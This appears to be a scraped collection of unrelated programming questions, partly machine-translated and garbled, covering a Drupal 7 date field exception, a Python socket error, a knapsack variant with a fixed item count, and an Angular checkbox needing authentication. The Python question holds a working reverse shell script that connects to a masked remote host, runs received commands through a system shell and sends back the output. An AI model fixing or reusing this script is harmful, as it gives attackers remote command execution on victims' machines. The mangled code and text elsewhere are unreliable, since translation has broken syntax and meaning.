entity – "EntityMetadataWrapperException: Invalid data value specified. Make sure that it matches the required data type and format for the date field."

I'm working on creating a calendar event, so I've created a custom event storage module for a custom content type. I installed the entity and date modules and created a date field (partner_event_date) that accepts values ​​from and up to the date.

In my custom module I use the following code.

$wrapper->field_partner_event_date->set(array(
  'value' => date('Y-m-d H:i:s',$dateFrom),
  'value2' => date('Y-m-d H:i:s', $dateTo),
));

The following output is displayed at the top of the screen.

array(
  'value' => '2022-02-05 00:00:00',
  'value2' => '2024-07-03 00:00:00',
)

The error I get is the following.

EntityMetadataWrapperException: Invalid data value specified. Make sure it matches the required data type and format. Value at node () -> field_partner_event_date:. in EntityMetadataWrapper-> set () (line 122 of /sites/all/modules/entity/includes/entity.wrapper.inc).

I installed my module on a new Drupal installation. It works fine while the client site (which has already been created) displays this error message during installation and configuration. Can anyone help?

entity – EntityMetadataWrapperException: Invalid data value specified. Make sure it matches the required data type and format for the date field in Drupal 7

I'm working on creating a calendar event, so I've created a custom event storage module for a custom content type. I have already installed the entity module and the date module.
I have a date field & # 39; partner_event_date & # 39; created that accepts dates from and to.

In my custom module, I wrap the date field values ​​as follows:

$ wrapper-> field_partner_event_date-> set (array (
& # 39; value & # 39; => Date (& # 39; Y-m-d H: i: s & # 39 ;, $ dateFrom),
& # 39; value2 & # 39; => Date (& # 39; Y-m-d H: i: s & # 39 ;, $ dateTo),
));

And an output is shown at the top of the screen:
Array (& # 39; Value & # 39; => & # 39; 2022-02-05 00: 00: 00 & # 39 ;, & # 39; Value2 & # 39; => & # 39; 2024-07-03 00 : 00: 00 & # 39 ;,)

The error I get is:
EntityMetadataWrapperException: Invalid data value specified. Make sure it matches the required data type and format. Value at node () -> field_partner_event_date:. in EntityMetadataWrapper-> set () (line 122 of /sites/all/modules/entity/includes/entity.wrapper.inc).

I installed my module on a new Drupal installation, it works perfectly there, but on the client site (which was already created) when I installed and configured it, these errors are displayed. Can somebody help me with it.

Linux – Python Socket Errors "A byte-like object is required, not & # 39; str & # 39 ;.

This is my script. It works perfectly on Linux, but when I run it on a Windows computer it shows 2 errors. listed below.

Import subprocess
Import socket

host = "*********"
port = ***
passwd = "****"
def Login ():
global s
s.send ("Login:")
pwd = s.recv (1024)

if pwd.strip() != passwd:
    Login()
else:
    s.send("SHELL ")
    Shell()

def Shell ():
while true:
data = s.recv (1024)

    if data.strip() == ":kill":
        break

    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = proc.stdout.read() + proc.stderr.read()
    s.send(output)
    s.send("#> ")

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect ((host, port))
Log in()

BELOW ARE THE TWO FAULTS What needs to be changed?

C: Users IEUser Desktop Python> Python ReverseShell.py
Traceback (last call last):
ReverseShell.py file, line 34, in
Log in()
"ReverseShell.py" file, line 11, in login
s.send ("Login:")
TypeError: A byte-like object is required, not & # 39; str & # 39;

Algorithms – backpack problem with the precisely required restriction of the article number

How would we solve the backpack problem if we now had to set the number of items in the backpack with a constant? L. ? This is the same problem (maximum weight of W.every item has a value v and weight w), but you have to add I agree L. Articles about the backpack (and of course have to optimize the overall value of the backpack).

Any way I have thought of implementing this so far (dynamic programming, brute force) has either led to errors or to calculation times at the universal level. Any help or idea is appreciated.

Javascript – Angular 9 checkbox authentication required

I have an application in Angular where I have a checkbox that requires authentication before it changes. The idea here is as follows:

  • The check box is cleared.
  • The user clicks the check box.
  • The user must enter authentication details.
  • If the authentication is successful, the check box is activated.
  • If authentication is unsuccessful, the check box remains clear.

I tried using PreventDefault with both click and change Events. It prevents the change, but does not allow me to set it dynamically. I also tried the following:

HTML:

Typescript:

@Component({
selector: 'app-authentication',
templateUrl: './authentication.component.html',
styleUrls: ('./authentication.component.scss')
})
export class AuthenticationComponent implements OnInit {
    IsAuthenticated: boolean = false;
    constructor(protected service: AuthenticationService) {}

    ngOnInit() {}

    async CheckForAuthentication(value: boolean) {
        // If we're unchecking don't do anything
        if (!value) {
            return;
        }

        // Remain false until authentication is complete
        this.IsAuthenticated = false;

        // Wait for authentication
        const authentication = await this.service.Authenticate();

        // If authentication is true, change the checkbox
        this.IsAuthenticated = authentication;
    }
}